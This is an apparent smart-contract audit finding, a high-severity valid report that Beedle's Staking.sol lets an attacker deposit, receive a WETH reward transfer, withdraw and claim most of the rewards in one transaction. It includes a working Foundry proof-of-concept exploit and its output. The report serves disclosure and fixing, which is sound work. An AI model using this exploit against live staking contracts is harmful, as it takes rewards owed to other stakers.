20,000 USDC
View results
Submission Details
Severity: high
Valid

Rewards can be unfairly taken by sandwiching transfer of funds from fees to staking contract with flash deposit+withdraw

Summary

The Fees.sol contract will send Eth to the Staking.sol contract when _sellProfits is called. The attacker can call deposit() with a large amount of TKN followed by sellProfits() followed by withdraw() in a single atomic transaction to gain a large portion of the ETH rewards.

Vulnerability Details

The Fees.sol contract will send Eth to the Staking.sol contract when _sellProfits is called. The accounting of the Staking.sol contract is such that it immediately allocates rewards proportionally to the amount of token staked at that exact point in time regardless of how long the stake position is kept before or after the transfer. An attacker can:

  1. Deposit a large amount of funds into Staking contract

  2. Call sellProfits() to initiate transfer of WETH from Fees contract to Staking contract

  3. Withdraw liquidity from the pool

All in one block.

Note that even though the attack example refers to Fees.sol, the attack does not require integration with that contract to be complete to work. This works with any transfer of WETH to the Staking.sol contract.

Here is a Proof of Concept for this attack. This foundry test/POC can be run in the test folder of the 2023-07-BEEDLE audit directory. Skip to function test_POC_take_rewards() public to read the important part of the POC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import {Staking} from "../src/Staking.sol";
import {WETH9} from "../src/test/Weth.sol";
import {TKN} from "../src/test/TKN.sol";
contract StakingTest is Test {
Staking staking;
WETH9 weth;
TKN tkn;
//users:
//This contract is owner
address attacker = address(1);
address bob = address(2);
address test_address = address(this);
function setUp() public {
weth = new WETH9();
tkn = new TKN();
staking = new Staking(address(tkn), address(weth));
//get 1000WETH
weth.deposit{value: 1000000}();
weth.transfer(address(staking), 1000);
tkn.transfer(attacker, 1000);
tkn.transfer(bob, 1000);
}
//IMPORTANT PART OF POC HERE.
function test_POC_take_rewards() public {
tkn.approve(address(staking), 1e30);
//innocent person bob deposits some TKN to the staking contract
vm.startPrank(bob);
tkn.approve(address(staking), 1000);
staking.deposit(100);
staking.deposit(100);
vm.stopPrank();
uint tkn_before_attack = tkn.balanceOf(address(this));
console.log(staking.claimable(address(this)), "WETH claimable before attacker before this attack");
//ATTACK:
//this WETH transfer is sandwiched between a deposit and withdraw by attacker
staking.deposit(1e20);
weth.transfer(address(staking), 1000);
staking.withdraw(1e20);
uint tkn_after_attack = tkn.balanceOf(address(this));
//attacker claims the WETH
uint balance_before = weth.balanceOf(address(this));
staking.claim();
uint balance_after = weth.balanceOf(address(this));
//assertions to prove POC success:
//success requires the attacker didn't need to pay any TKN's for this attack (balanceBefore == balanceAfter)
//success requires the attacker to have more WETH after the attack than they started with
assertEq(tkn_before_attack, tkn_after_attack);
assertGt(balance_after, balance_before);
console.log(balance_after- balance_before, "WETH claimed by attacker");
}
}

We defined this Attack-POC to be successful when we asserted that:
- The TKN cost for the attacker was zero/free. assertEq(tkn_before_attack, tkn_after_attack);
- the attacker to have more WETH after the attack than they started with assertGt(balance_after, balance_before);
We can see the profit of the entire attack by running forge test -vvv and seeing the console logs:

[PASS] test_POC_take_rewards() (gas: 283178)
Logs:
0 WETH claimable before attacker before this attack
900 WETH claimed by attacker

Impact

Attacker can gain unfair share of WETH rewards for free (aside from gas costs), leading to fee loss for other participants

Tools Used

Foundry testing

Recommendations

Add a time component to fee accounting or a time-delay for depositing and withdrawing TKN for WETH reward share.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!